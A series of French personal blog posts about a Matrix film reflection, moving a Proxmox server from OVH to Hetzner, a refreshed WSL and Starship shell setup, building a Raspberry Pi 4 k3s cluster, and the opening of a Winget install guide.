Je ne me souviens plus comment je suis tombé sur cette image, qui n’est probablement qu’une simple photo de tournage (d’ailleurs il ne me semble pas avoir ce plan en particulier dans le montage final du film), il n’y a donc pas forcément de volonté de jouer avec ces codes. Mais c’est comme les passages interminables de bouquins centenaires d’auteurs chiants comme la pluie dont on sur-interprète les écrits pour remplir les cours de littérature de « première » de lycée sous prétexte de développer l’esprit critique des jeunes, comme si les auteurs avaient vraiment juste envie de dire autre chose que de décrire une scène chiante au possible sur trois pages, jusqu’à la couleur des moustaches d’un chat sans intérêt.

Dans tous les cas, je me répète, Matrix, c’est génial. Et même si les films suivants ne sont pas à la hauteur du premier pour moi – mal rythmés/montés, effets spéciaux vieillissants sur certains plans-, ça reste un univers marquant du cinéma, qui aura débordé ensuite sur des BD, du jeu vidéo (même si c’est pas glorieux comme résultat), du court-métrage d’animation avec The Animatrix, bref, il continue de nourrir l’imaginaire collectif plus de 20 ans après. Ce n’est pas pour rien, d’autant que les sujets d’IA sont de plus en plus nombreux, sans être plus réjouissante et la vision est moins pessimiste qu’un Terminator 😀

PS : Et même s’il a peu de chance de lire ça, un grand merci à Laurence Fishburne de me permettre de m’illustrer de manière marquante sur le net 🙂

  •  

Le déménagement du serveur est terminé !

Oui je sais, plusieurs mois sans article, et là, juste un « message de service ». Non pas que ça soit dingue comme opération en plus, surtout que j’ai quand même bien dérivé de mon objectif initial (un peu comme pour le smarpthone), mais il fallait le mentionner. Petit retour rapide sur le pourquoi du comment, le déroulé, certains choix, etc.

L’historique de la bête

Ça fait un moment que l’idée de déménager le serveur me trotte dans la tête. En effet, le vénérable MiniSP 2014, qui date en fait de 2013, va donc sur ses neuf ans. Ça fait un bail que j’ai des soucis de performances disque avec, et il a eu chaud dans tous les sens du terme avec l’incendie de l’année dernière. Il est passé par une quantité de méthodes d’installation, la dernière en date est un Proxmox 5.4, oui je sais, ça fait un moment que le 7 est sorti, mais bon, vu l’âge de la machine, j’ai envie de dire, hein, pas pressé. Mais si j’envisageais déjà un déménagement l’année dernière, ça fait partie des choses qui sont passées en arrière-plan, entre procrastination et changements de priorités. Tout juste j’avais préparé un plan de migration, qui on le verra, a été grandement remanié pour l’occasion. Et pour cause…

Remember…

La mauvaise surprise d’OVH

Mais coup de tonnerre, OVH m’a envoyé un mail voilà quelques temps pour m’annoncer que SBG4, le datacenter où se trouve mon serveur rescapé, va être reconstruit, et que donc pour l’occasion, ils coupent tout, sans intention de rallumer; Date butoir : 28 février 2022. Les malins, ça leur permet de se débarrasser des anciennes gammes qui étaient encore à prix contenus, pas pour rien non plus que je le gardais sous le coude pépère… ils me proposent d’aller voir dans d’autres gammes, avec à la clé, si je reste chez OVH (pour des histoires d’adresse IP si je voulais les conserver), un tarif augmenté de 20€ par mois minimum. Branle-bas de combat, s’agirait de se bouger donc.

On ressort le plan de migration, direction Hetzner, comparaison des prix et des gammes de serveurs chez OVH toujours; non pas Scaleway, pas envie/besoin de créer un énième compte en ligne. Au passage, OVH m’a créé un ticket de support pour proposer son aide pour migrer les données, enfin surtout dire qu’ils filent un petit pourliche pour le premier mois d’un nouveau serveur. Quand j’ai répondu que j’étais en train de déménager ailleurs, le ticket a été vite fermé. Ils sont plus réactifs que quand on leur pose une vraie question…

La commande chez Hetzner, presque un sans faute, mais aussi une (très) mauvaise surprise

Je suis déjà client, je joue régulièrement avec le public cloud, mais là, on passe aux choses sérieuses. Le serveur, c’est celui que je visais au départ, l’AX41-NVMe, avec la fiche technique qui fait se lécher les babines, dont voici les principaux critères :

  • AMD Ryzen 5 3600 (6C12T, 3.6GHz)
  • 64Go de RAM
  • 2x SSD 512Go
  • Réseau Gigabit

Aucune surprise sur le prix du serveur, la disponibilité, et la rapidité d’installation (que j’ai du refaire, j’y reviendrai). C’est sur le réseau où j’ai pris une sacrée piqure : depuis milieu d’année dernière, Hetzner se voit contraint de reporter sur les clients finaux les couts d’achat des blocs d’IP, en raison d’explosion des tarifs liés à la pénurie et aux brokers qui s’en foutent plein les poches; et ils n’ont pas la taille d’un OVH pour absorber ces couts. Et non, je n’envisage pas encore de me passer d’IP supplémentaire et tout faire en IPv6, c’est pas encore possible partout (coucou NordNet, pouvez-pas demander à Orange de vous mettre à jour, après tout vous utilisez leur backbone). Mais voilà, au niveau tarif, on est sur un 182€ le setup :

Pour ceux qui ont l’habitude du manager OVH, on est sur du formulaire plus qu’austère, mais qui est ultra-léger et qui fonctionne, je n’ai pas eu à rafraichir ou recommencer plusieurs fois. Le serveur était marqué disponible « within minutes » et en effet, il a été livré à la vitesse de l’éclair. On peut directement passer sa clé SSH pour l’installation, c’est toujours plus sympathique que de voir arriver un mot de passe root par mail…

Le faux départ, et ensuite, que du bonheur

Par contre, j’ai perdu un peu de temps parce que j’ai commencé à configurer l’OS tout de suite, avant de me rendre compte que le partitionnement n’irait pas pour Proxmox : il manque LVM ! En effet, par défaut, le script d’installation d’Hetzner configure certes les disques en RAID1, mais ce sont des groupes de RAID pour chaque partition créée. Fort heureusement, on peut redémarrer en rescue et relancer le script d’installation qui va tout refaire from scratch, par contre, débutants, vous transpirerez quelques minutes sur la gestion du partitionnement. En effet, j’ai voulu rester en RAID1, mais je ne savais pas comment il allait s’occuper du mix RAID + LVM. Je n’ai pas mis longtemps à trouver la solution, mais la documentation gagnerait quelques exemples supplémentaires.

Ensuite, l’installation de Proxmox est triviale, on suit les instructions de Julien qui sont un peu plus à jour que la doc d’Hetzner, et une fois redémarré, Proxmox est prêt à l’emploi. Il faut quand même passer par la case configuration du réseau. La documentation suffit, sinon quelques recherches feront l’affaire. Sans surprise parce que je suis mauvais en réseau, j’ai raté l’étape IPv6, mais il semblerait que la solution ne soit pas loin, donc affaire à suivre. Je suis allé au plus simple, parce que je manquais de temps, donc affectation directe d’IP, et je verrai ensuite pour le firewalling.

Pour le déménagement en lui-même, même si j’avais prévu de refaire certaines VMs de zéro, je n’avais clairement pas le temps de tout faire. Je suis donc parti sur une des forces de l’utilisation des machines virtuelles : l’utilisation des sauvegardes ! Comme je n’ai pas un gros besoin de disponibilité, j’ai prévenu un peu en avance que j’allais déménager des trucs, et le jour où j’ai voulu bouger, j’ai coupé les machines, créé une sauvegarde (format lzo, fichier unique), transféré via rsync sur le nouveau serveur, une petite commande de restauration, et voilà. Enfin presque voilà, on reconfigure une partie du matériel (genre CPU pour repasser sur le défaut, la plateforme qu’on passe à q35 parce que pourquoi pas, et on vire une carte réseau inutile), on démarre, on reconfigure le réseau pour utiliser une de nos chères IPs, un test rapide, et hop bascule DNS de l’alias principal; ah oui, j’avais préparé cette partie en amont pour me réduire la charge de travail de ce côté-là. Le petit bémol vient dans le transfert vers Hetzner, avec un vieux serveur OVH bridé à 250Mbit/s, ça prend du temps, 1h pour les plus grosses machines transférées.

Ça m’a rappelé ce vieux truc sur AOL…

Et quand je disais que j’avais donc dévié du plan initial, au-delà de l’absence de recréation des VMs from scratch, j’ai aussi fait l’impasse sur certaines machines qui n’étaient plus en utilisation. Ça permet de gagner du temps et de l’espace, car un des gros points faibles de ce nouveau serveur est clairement l’espace libre disponible : 430Go effectif, c’est léger, mais c’est en partie parce qu’en l’état certaines machines sont surdimensionnées et je n’ai pas encore mis en place les backups externalisés. La migration aura au final tenu dans seulement deux machines effectivement restaurées (même si j’ai quand même fait une copie de certaines autres, au cas où), dont la configuration aura été simplifiée au maximum. Ce qui veut dire que oui, pour l’instant le blog tourne toujours sur une machine dépassée, qu’il est plus que nécessaire de remplacer.

Ce qui va mieux, ce qui sera mieux

Clairement, quand je vois la réactivité de la machine qui héberge le blog, c’est un truc de fou. Dites-vous bien que le backup de la VM a pris un peu plus d’une heure à être réalisé, pour seulement 100Go de données. L’écriture ne dépassait pas les 30Mo/s… Même le SSH prenait du temps à me donner la main sur le serveur, maintenant, les actions sur les services et les redémarrages VM sont instantanés ou presque. Parcourez le blog, si vous avez l’impression d’être sur un site statique, non, c’est toujours WordPress. Mais clairement, on sent la différence notamment sur les opérations en backoffice.

J’ai aussi décidé de tester le firewall embarqué dans Proxmox. Déjà parce que pourquoi pas. Ensuite parce qu’au bout de deux jours, j’ai pris un mail d’abuse me disant que le BSI, un quasi équivalent de l’ANSSI chez nous, avait détecté des services en écoute sur mes IPs qui sont exploitables pour des attaques par réflexion/amplification. Et c’était vrai. Et ça m’a permis aussi de voir, en faisant l’inventaire sur les différentes VMs, que c’était assez bordélique et qu’il trainait aussi des reliquats de trucs que j’avais jamais utilisé. Le truc le moins trivial de cette activation de firewall, c’est le fait qu’il faille l’activer au niveau de la VM, mais aussi de la carte réseau de la VM, sinon, ça ne s’active pas. Surprenant. En tout cas j’ai eu la bonne surprise de voir qu’il était ready pour l’IPv6, et que les règles que j’ai créé seront appliquées directement. La configuration est relativement simple :

  • un IPset par host avec les IPs 4 et 6 associés
  • des alias ou des IPset pour les machines externes (genre celle pour le monitoring)
  • un Security group par host, avec des règles ciblant l’IPset
  • J’affecte chaque security group à la VM associée

Ça sera probablement amélioré dans le futur, du style créer des security groups pour les règles communes à toutes les machines (ICMP, SSH et monitoring), ou créer des alias pour les IPs et ajouter ces alias dans les IPset, mais c’est déjà un gros plus par rapport à la situation précédente. Et aussi, contrairement à ce que j’ai pu faire sur un des VPS que j’ai déployé ou le firewall est géré par ufw via ansible, je trouve ça plus avancé et souple à l’usage. Le seul bémol, c’est que pour l’instant, je n’ai pas l’impression qu’on puisse gérer ce firewall via d’autres outils que l’interface web. Ni Ansible ni le provider terraform ne semblent armés, dommage. Je chercherai peut-être à mettre en front un firewall type pfsense, mais là aussi, l’industrialisation des règles de flux sera importante, et pfsense ne semble pas plus exploitable que Proxmox, donc ça sera à chercher, encore.

Un autre point qui va clairement être aussi géré dans un avenir proche, c’est l’accès au Proxmox. Je viens de passer le MFA sur le compte root via TOTP, mais l’idée, c’est d’arrêter de m’en servir pour mieux identifier qui fait les actions, y compris les miennes (nous serons au moins deux sur le serveur). Pareil, tout repose uniquement sur l’interface web.

Et enfin, les backups, ça c’est le boulot des jours qui viennent. Ça tombe bien, Hetzner vient de baisser le tarif des storage box, on va donc pouvoir mettre en place un espace déporté pour que les VMs soient directement stockées en Finlande. Sans exclure une petite copie sur mon NAS parce que pourquoi pas 🙂

  •  

Mon setup WSL de fin 2021

Ouais, parce que pourquoi pas, voici un gros refresh de ce que j’avais pu présenter y’a deux ans. Ce qui change, ce qui ne change pas, ce qui me manque encore pour en faire un truc vraiment au top.

On remet le contexte

Je suis toujours sur mon Windows 10 LTSC 2019, donc sur la branche 1809 de Windows 10. Je n’ai pas la capacité d’installer certaines choses comme le WSL2, le Windows Terminal, etc. Mon utilisation du WSL reste ceci dit ponctuelle, ce qui n’empêche pas de vouloir un environnement confortable, et plus léger que si je passais par Virtualbox.

Parmi les articles que je vous épargnerai, parce que le brouillon traine depuis presque aussi longtemps que l’article d’origine, il y a mon combat pour les caractères spéciaux, emoji en tête, mais aussi ceux spécifiques à Powerline (version python ou bash, même combat), avec la console Windows. J’avais quand même fini par m’en sortir, mais les contrôles de copier/coller à l’ancienne à la mode windows, non vraiment… J’ai donc procédé à la bascule sur Terminator, et on va redétailler bientôt ce que ça implique et ce qui a changé par rapport à la version initiale. Terminator a besoin d’être relancé pour prendre en compte l’installation dans Ubuntu des nouvelles polices d’affichage en passant, pas grave en soi, juste pénible.

Et j’utilise toujours Sublime Text 3, dont l’insistance à vouloir me faire faire la mise à jour vers Sublime Text 4 commence à m’agacer particulièrement. Je vous le donne en mille, ils imposent de payer si on veut rester sur la branche 3 sans se taper les messages insistants (et quand je dis insistants, c’est toutes les heures).

Et enfin, l’enrobage de tout ça, un Ubuntu 18.04 qui certes n’est pas encore à mettre à la retraite, mais dont l’ancienneté de la majorité des packages commence à me hérisser le poil. Dire qu’avec nos futurs PCs au boulot (suite au rachat par Accenture), qui pourront être fournis avec Ubuntu MATE, mais en version 18.04 pour l’instant (à cause d’une trop grande appétence pour des outils de verrouillage et de renforcement de la sécurité dans tous les sens)…

On repart de zéro, sans rien casser

C’est pas évident mine de rien, d’autant plus que toujours pas de Microsoft Store, qui continue d’être la référence pour l’installation en mode cliquodrome. Mais c’est moins pénible, d’autant que Microsoft liste les images officiellement supportées sur une page dédiée. La particularité, c’est que je n’ai pas pu installer directement le package, je n’avais pas de retour. Le contournement, c’est de renommer le .appx en .zip, de l’extraire dans un dossier, et de lancer l’exécutable d’installation directement depuis le dossier, via powershell :

On suit les instructions qui se résument à créer l’utilisateur et son mot de passe, et on laisse l’installation se terminer, ralentie par l’action constante d’un Windows Search et d’un scanner antimalware qui n’ont que ça à foutre de plomber les perfs (il m’a fallu presque 14 minutes pour installer Ansible à cause de ça, et sur un SSD NVMe…).

Là où ça se complique un peu, c’est que si on lance tout de suite bash, on retombe… sur la version 18.04, et pas sur la version fraichement installée. Et pas de chemin genre ubuntu20/bash ou un truc dans le genre. Bon c’est pas grave, je peux ouvrir une fenêtre dédiée à partir du menu Windows, Une icône Ubuntu 20.04 LTS s’étant invitée à la fête à côté de celle sobrement intitulée « Ubuntu » abritant mon installation historique.

J’ai donc bien deux installations séparées, et je n’ai plus qu’à refaire ou transférer ce qui m’est nécessaire. J’essaie donc très vite d’avoir mon Terminator, qui semble m’installer une quantité affolante de packages, y compris sane-utils, un paquet qui regroupe des outils pour… la gestion de scanners papier, vraiment la gestion des dépendances made in Ubuntu c’est un enfer. M’enfin, j’ai mon Terminator, et je cherche à démarrer dessus direct pour continuer à travailler l’installation de la suite.

L’astuce de la version par défaut

Comme je l’ai dit, si on appelle bash depuis l’environnement Windows, on tombe sur l’ancienne installation 18.04. Hors, le script VBS, qui est toujours d’actualité car j’ai réutilisé le même, appelle bash qui appelle ensuite terminator. Deux petites minutes de recherche, et j’apprends l’existence de l’utilitaire wslconfig.exe. Ni une ni deux :

PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /l
Distributions du sous-système Windows pour Linux :
Ubuntu-18.04 (par défaut)
Ubuntu-20.04

Il suffit de le rappeler avec l’option /s <nom de la distrib> et voilà le travail :

PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /s Ubuntu-20.04
PS C:\Users\Seboss666\Downloads\Ubuntu_2004> wslconfig.exe /l
Distributions du sous-système Windows pour Linux :
Ubuntu-20.04 (par défaut)
Ubuntu-18.04

Si je clique sur mon raccourci de lancement du script, j’ai mon terminator tout neuf sur mon Ubuntu 20.04 tout aussi neuf. Je peux donc avancer plus sereinement.

Le shell : au revoir Powerline.bash, bonjour Starship.rs

Ça, c’est Jérémy au boulot qui me l’a fait découvrir. Après avoir manipulé le fichier de configuration pendant 1h pour avoir un setup qui me plaisait, j’ai adoré la qualité, la rapidité de l’outil. On installe un binaire, on a un fichier de conf, on ajoute l’appel dans son bashrc/bash_aliases en fonction des gouts et des couleurs, et roulez jeunesse. Le setup est moins lourd, et surtout, j’ai quelques limitations avec Powerline.bash comme la gestion de l’environnement kube qui m’ont convaincu de basculer.

C’est d’ailleurs une des petites fonctionnalités qu’on pense gadget au départ, qui m’a fait mesurer précisément la durée d’installation d’Ansible, jugez plutôt :

Je mentais pas sur le quart d’heure 😀 Quand on peaufine un peu son fichier toml, on peut arriver à un setup un peu sympa, jugez plutôt :

J’ai encore quelques autres modules actifs, mais avec ce que j’ai sous la main de mon setup perso, c’est déjà pas mal. On a donc, dans l’ordre :

  • Le contexte kube quand il est défini (ici dans le fichier .kube/config qui contient le cluster Pi4)
  • Le virtualenv quand il est chargé
  • Le dossier dans lequel on se trouve
  • La branche git si c’est un dépot, le numéro de commit
  • L’état du workspace git quand il est autre que « clean » (ici, au moins un fichier tracké a été modifié)
  • La durée d’exécution de la dernière commande

Dans les autres possibilités, le workspace terraform, les infos sur du chart helm, et autres joyeusetés du genre. Je vous laisse découvrir la documentation monstrueuse qui vous détaille toutes les possibilités. À noter que c’est ce que j’ai fait pour certains modules, notamment pour personnaliser les couleurs ou la syntaxe, et l’ordre d’affichage aussi. C’est plutôt complet. Au passage, juste après son installation j’avais toujours le souci de polices (les caractères spéciaux sur les branches git par exemple). J’ai fait simple, installation du paquet powerline-fonts qui convient, on redémarre Terminator, on sélectionne la bonne police dans les options d’affichage et roulez jeunesse.

Applications graphiques : le thème sombre !

Eh oui, je m’en suis rendu compte très, très vite, en ouvrant les options de Terminator, puis en constatant les menus de Sublime Text, c’est blanc, très blanc. Mais comme je n’ai pas de bureau, pas d’application ou de panneau de configuration facilement accessible pour gérer tout ça.

C’est via une bidouille pour les paquets flatpak qui ne respectent pas le thème installé que j’ai pu trouver ma solution : une simple variable d’environnement. Alors oui dit comme ça, on a l’impression que c’est trop facile, mais j’ai fouillé des résultats de recherche pendant plus d’un quart d’heure, et même comme ça, il aura fallu un certain temps avant d’avoir un truc qui marche.

Et je suis allé au plus simple : via gsettings, j’ai regardé ce qui était installé comme thème :

$ gsettings get org.gnome.desktop.interface gtk-theme
'Adwaita'

La variable d’environnement, c’est GTK_THEME, et on peut même sélectionner des variantes. Dans mon cas, je veux la version dark. J’ai donc ajouté à mon bash_aliases GTK_THEME=Adwaita:dark et voilà. Mais terminator n’en bénéficie pas, lui. Il a donc fallu que je modifie le VBScript pour l’inclure :

(...)
	shell.run "C:\Windows\System32\wsl.exe bash -c ""cd " & cdPath & "; DISPLAY=:0 GTK_THEME=Adwaita:dark terminator""", 0, true
(...)

Et voilà, tout ce petit monde sait désormais s’afficher en sombre, avec tout ce qu’il me faut pour mes bricolages persos. Au passage, je suis passé sur Sublime Text 4, toujours aussi pratique à utiliser, l’installation de Package control est enfin incluse (on se demande pourquoi c’est pas directement embarqué d’emblée…), quelques packages en moins à installer (thème sombre d’origine, support yaml), bref, rien qui justifie que je m’étende.

Au final ça m’aura repris quand même une bonne heure pour faire le tour de tout ça, un peu trop long à mon goût, je pense que je vais bosser pour réduire ce délai pour la prochaine fois.

En attendant WSL2, bientôt ?

En effet, Microsoft vient de sortir le dernier refresh de sa branche LTSC, 2021, basé sur Windows 10 21H1. Il y aura donc possibilité de faire du WSL2, du Windows Terminal, bref, de tester tout ce qu’un collègue de travail fait depuis qu’il a retrouvé un PC de boulot Windows (il travaillait sur un macbook perso avant…). Et non, certainement pas de Windows 11 avant très longtemps.

Une installation que je vais certainement envisager début d’année prochaine. En espérant qu’en plus ça me libère de quelques plantages gênants, faut dire que le Windows que j’utilise actuellement date d’avant la sortie du CPU, et j’arrive pas à me sortir de la tête que ça fait partie des causes des multiples écrans bleus que j’ai pu avoir (avec des messages différents à chaque fois).

  •  

Enfin un cluster de Raspberry Pi 4 !

Depuis trop longtemps un brouillon de réflexion sur l’évolution de mon hébergement maison traîne sans que je prenne le temps de le terminer (avec derrière la réflexion sur le marché du matériel, que j’ai du remanier plusieurs fois sur la dernière année passée…). Moralité, les évènements se sont chargés de bousculer un planning déjà très peu défini, et le matériel de remplacement est déjà là. On va donc faire dans le très résumé pour savoir ce qu’il en est, même si c’est dans le titre.

Pour ceux qui auraient la flemme de déterrer les archives, j’utilisais donc en guise de microserveur une plateforme Pentium J4205 certes limitée en performances, mais au silence absolu et à la consommation très faible. Accompagnée de 8Go de RAM, avec un SSD SATA de 128, puis 256 puis 512Go de capacité, le tout fonctionnant avec Proxmox VE, l’environnement de virtualisation opensource qui continue son bonhomme de chemin sous la houlette de l’entreprise allemande Proxmox Server Solutions.

Globalement j’en ai été très content, mais j’ai toujours été conscient du manque de puissance à ma disposition. Une tentative pénible d’installation d’un Gitlab (remplacé par Gitea), puis plus tard un Jenkins (pas remplacé) m’en a convaincu, si j’avais encore des doutes. Le passage à un cluster Kubernetes avec k3s aussi. Avec ce dernier le manque de RAM s’est très vite fait sentir, les choix sur le stockage également avec Longhorn, dont je n’avais pas correctement anticipé la lourdeur. La réflexion se penchait donc en partie sur une augmentation de performances, de ressources de manière générale, mais pas seulement.

Longhorn avait déjà des soucis, certains pods se retrouvaient avec des volumes en lecture seule sans que j’en trouve l’explication. Je n’étais pas tout seul, d’autres aussi ont eu le souci avec des installations matérielles différentes, ce n’est donc pas juste un souci avec mon environnement particulier. Mais le problème a empiré quand c’est le matériel sous-jacent qui a commencé à avoir des soucis, avec des erreurs SATA qui foutaient les partitions du Proxmox en lecture seule, et donc toutes les VMs avec. Remplacer le matériel devenait donc plus urgent.

Du vrai clustering ?

Eh oui, expérimenter k3s m’a confirmé que oui, je pouvais avoir une installation Kubernetes chez moi qui ne demande pas 3000 balles de matos. Mais un des problèmes d’avoir une seule machine, est que certes j’avais trois nœuds « kube », mais tous finissaient dans le même état en même temps, à savoir HS. Et parfois, j’étais obligé de jouer du fsck pour faire repartir les machines virtuelles. J’avais donc envie de corriger cette situation, et si possible sans faire exploser le budget que j’avais commencé à fixer, à savoir autour des 400~500€.

Les Raspberry Pi sont prisés depuis plusieurs années pour leur tarif abordable et l’écosystème qui s’est construit autour. La dernière itération en date, le Pi 4, met la barre assez haut avec une compatibilité 64bit, jusqu’à 8Go de RAM, un vrai réseau Gigabit (en plus du Wifi et du Bluetooth), et quelques erreurs de jeunesse ont été corrigées (compatibilité USB-C, chauffe excessive du SoC) le rendant finalement tout à fait adapté aujourd’hui. Les ressources texte et vidéos sur ce type d’installation que j’ai pu voir défiler m’ont attiré de plus en plus. J’ai donc commencé à simuler un setup (archi, budget, etc). Et comme je suis dans l’urgence, j’ai même dérivé de ma vision initiale.

En effet, dans les évolutions liées au Raspberry Pi, il y a désormais la possibilité de démarrer sur un stockage externe, USB dans le cas présent, et j’envisageai de migrer de Longhorn à Rook pour le stockage à l’intérieur du cluster (spoiler, sur Raspbian c’est compliqué parce que pas de module noyau pour ceph pas défaut 🙁 ). C’est quelque chose que j’ai pour l’instant laissé de côté, je me suis quand même tourné vers des cartes microSD performantes et spacieuses, et j’ai toujours le NAS qui va tout de même bosser dans l’urgence avec le provisioner NFS. Et tant pis pour la lenteur dudit NAS quand tout redémarre à froid. Puisque j’ai le matériel, à part un petit switch réseau Ethernet Gigabit pour accompagner ce cluster, je vais monter mes câbles réseau moi-même, parce que pourquoi pas, ça permet surtout de les faire à une longueur qui soit pas trop déconnante. Ça m’exerce aussi un peu, hein, on va pas se mentir.

L’expérience « sans Amazon » continue, avec Conrad cette fois (spoiler : c’est pas dingue)

C’est un futur ex-collègue (en fonction de la date de sortie, il aura déjà changé de crèmerie) qui s’est intéressé à ce site pour commander les éléments. Au-delà de l’idée d’éviter Amazon, une des problématiques qu’on envisageait différemment concernait l’alimentation. J’envisageais un « chargeur » grosse capacité avec plusieurs prises USB. Lui cherchait à se tourner vers une alim 5V « industrielle », dans l’optique d’alimenter les Pi via les ports GPIO. Après m’être un peu documenté, c’est tout à fait possible, mais pas recommandé car les ports GPIO ne disposent pas des mêmes protections électriques intégrées que le port USB-C. J’ai aussi évacué le HAT PoE(+) parce qu’il est ventilé et qu’en l’état il est toujours question d’une installation full fanless, sans parler de la chauffe qui accompagne encore la dernière révision du module, malgré les corrections, ou le coût doublé du switch associé. Mais malgré tout je suis resté sur le site et une fois le panier terminé, le tarif annoncé pour un cluster trois nœuds était dans mes « normes », aux alentours de 500€ tout de même, avec des Pi 4 en version 8Go, la seule version disponible à ce moment-là. Même avec la livraison, comme quoi, c’est possible.

Bon par contre, dire que l’expérience fut complètement agréable est un mensonge. La création du compte a été simple, mais passer commande fut beaucoup plus sportif. En effet, au niveau du panier, le bouton pour passer commande a commencé par me renvoyer… une erreur cryptique. Et c’est tout, il ne se passe rien. Il a fallu que je passe par les outils développeur du navigateur pour voir le vrai message, à savoir que l’un des produits, en l’occurrence le chargeur 72W, n’était pas disponible pour les particuliers. Un coup de remplacement du produit plus tard par un autre modèle équivalent qui passe, j’ai pu continuer la commande. Mais ça, c’était l’introduction.

Bon courage pour savoir à quoi ça correspond :/

J’ai de fait été déçu de voir qu’ils n’ont pas cherché à tout regrouper dans le même colis. Jugez plutôt, j’ai reçu les Pi, les cartes, le rack, les radiateurs, le switch, mais pas le chargeur ni les câbles d’alim qui vont avec; alors que tout était marqué en stock. Et en parlant de livraison, GLS… Comment dire que je suis confus par ce qui s’est passé. En gros, ils m’ont envoyé un SMS pour dire quand ils livraient. Pas de bol, c’est un des rares jours où je devais retourner au bureau (je sais pas si j’en parlerai un jour, j’arriverai pas à rester diplomatique je pense), et heureusement, ils proposent de pouvoir changer la date. Enfin, heureusement… le lien contenu dans le SMS est bien en HTTPS, avec un domaine qui peut aller, mais sur un port non standard. Perso je fais ça dans un environnement de dev, sur mon réseau local, mais pas pour des informations transmises à des clients, parce que ça, ça pue le phishing. La version mail de la notification, elle contient un bon lien, ce qui m’a permis de décaler la date de livraison, en donnant mon numéro au passage parce que la livraison chez moi, c’est pas trivial. En parallèle dans la journée de la livraison, je reçois un autre message pour dire qu’un nouveau colis est en route. En regardant le détail, ce ne sont que les câbles qui sont envoyés…

Non mais sérieux ? Faut croire, j’ai bien eu trois livraisons pour une seule commande pour des produits tous marqués en stock. C’est clairement pas le genre de chose qui donne envie de recommencer, surtout avec un transporteur dont les outils de suivis sont aussi incroyable d’amateurisme, pour être poli. Alors déjà le site Conrad, quand on clique sur les liens dans le mail, nous renvoie vers le site allemand pour le suivi, pas vraiment le truc le plus agréable du monde, j’ai déjà parlé des SMS, au final, en récupérant le numéro de colis on a plus vite fait d’aller sur la page d’accueil du site français pour faire soi-même la recherche dans la bonne langue.

Dernier point, il se trouve qu’en lisant les specs du chargeur reçu, deux semaines plus tard, je n’ai pas assez de puissance disponible sur les ports USB (le gros de la puissance est réservé à un port USB dit power delivery pour les ultra portables récents…), la procédure de rétractation retour de Conrad passe par… un PDF à remplir et renvoyer par mail. Oui, en 2021 toujours. Les remplaçants (j’ai pris des chargeurs individuels 3A) ont été commandés en 1min30 et livrés en 24h chrono, sur Amazon.

Et on se demande pourquoi le géant américain a autant de succès…

L’installation de k3s : on prend les mêmes…

Mon cluster d’origine avait été installé et maintenu avec Ansible, via un dépôt que j’avais partagé. S’il avance un peu au ralenti par rapport à un autre projet découvert par un autre de mes collègues de boulot, il est toujours fonctionnel. J’ai quand même mis à jour ma copie locale avant d’attaquer, histoire de m’assurer que le Raspberry Pi 4 soit bien pris en charge. Dans l’urgence et parce que je n’avais pas envie d’y passer tout le weekend, j’ai installé la même version 1.19 que j’avais déjà, à une patch release près. L’installation a pris même pas deux minutes, et moins de deux minutes encore plus tard, je pouvais voir les deux seuls containers du master déployé. Oui parce qu’historiquement je déploie Traefik à part pour des raisons de versions embarquées par k3s.

Et donc, pour le stockage, j’ai dans l’urgence utilisé le nfs provisioner, via Helm. Quand je dis qu’on prend les mêmes, ça vaut aussi pour mon niveau de compétences réseau. La configuration initiale semblait plus ou moins correcte (j’ai juste forcé la version du protocole NFS), mais le premier volume se faisait jeter avec une erreur 32. Quelques essais au niveau de l’OS me renvoient effectivement un Permission denied. Pourtant, j’ai bien vérifié que l’IP du Pi fait partie de celles que j’ai autorisé sur le NAS. Avant de découvrir que la méthode utilisée pour démarrer avec une IP fixe (via le fichier cmdline.txt), n’empêchait pas dhcpcd d’avoir fait son taf, malgré la désactivation de l’autoconfiguration. Mon Pi avait donc deux adresses, et surprise, utilisait celle fournie par le DHCP alors même qu’elle était déclarée en secondary… Vraiment, jusqu’à ma mort je pense que je continuerai à faire ce genre de conneries.

En parlant de Helm, j’ai failli l’utiliser également pour Traefik, parce que la migration des CRDs ne me motive pas plus que ça, mais finalement, j’ai réutilisé mes manifestes. Je suis en train de me débattre avec quelques petits bugs mineurs avec mon Gitea, mais à la fin, j’ai pu remettre en ligne le peu de services actifs que j’avais sur le cluster. Avec la perspective et les ressources pour cette fois pouvoir aller plus loin : rapatriement du lecteur de flux RSS (c’est déjà fait, dans l’urgence aussi et c’est tellement honteux que je vais pas vous dire pourquoi), déploiement de Bitwarden_rs (pardon, de Vaultwarden), d’un registry type Harbor, et d’autres services encore au gré de mes expérimentations. Genre Rook que j’ai déjà évoqué mais qui s’annonce compliqué, Nocodb, iperf3, rocket.chat, Drone, Argo-CD, un service mesh histoire de pas mourir idiot, que sais-je encore. Avec une grosse contrainte quand même : je suis désormais sur une architecture ARM 64bit, et tous les logiciels ne sont pas forcément disponibles pour celle-ci, une aventure de plus.

Et voilà, c’est tout debout et ça fonctionne bien 🙂

Une solution pas super élégante pour autant

Je m’explique : pour l’instant les Pi et le switch sont posés au fond du « meuble » TV, avec les câbles qui passent à l’arrache et un vieux T-shirt par dessus l’ensemble pour masquer les nombreuses diodes qui ne manquent pas de clignoter en permanence. Les éléments de montage en rack sont assez rudimentaires et ne concernent que les Pi, et il n’y a pas beaucoup de solutions commerciales qui joueraient la carte du tout-en-un; en tout cas le peu que je vois ne fait pas envie financièrement parlant. Il me semble que je vais devoir passer par la case fabrication maison pour espérer faire quelque chose de mieux intégré.

À moins de tomber sur quelque chose d’adaptable et adapté, mais bon, vu que la partie alimentation est spécifique, la partie réseau aussi, c’est compliqué je pense; on s’orienterait carrément vers une vraie armoire, ce qui s’annonce non neutre en termes de budget… Mais voilà, il y a enfin un vrai cluster au niveau matériel chez moi, une envie qui traînait depuis au moins deux/trois ans. Ce n’est pas encore aussi mature, propre, intégré que chez certains (il faut aussi de la place, une autre problématique à régler dans les prochains mois), mais ça fonctionne. Et c’est tout ce qui compte.

  •  

Installez Winget depuis Github sans Microsoft Store

Je vous cache pas que ça a été un peu long, que ça demande un peu trop de steps à mon goût (Microsoft vous répondra « installez le Store »), mais comme ça peut servir dans pas mal de situations et que cet outil commence à devenir réellement intéressant, je partage 🙂

Eh oui, pour rappel, mon PC de jeu est installé avec un Winfows 10 LTSC  2019, donc bloqué en release 18.09, et il est dégraissé de pas mal d’éléments comme Cortana et le Microsoft Store. Ça n’a pas que des avantages, notez :

  • Une release qui date d’avant la sortie de mon matériel
  • Pas de WSL2
  • Pas de Windows Terminal

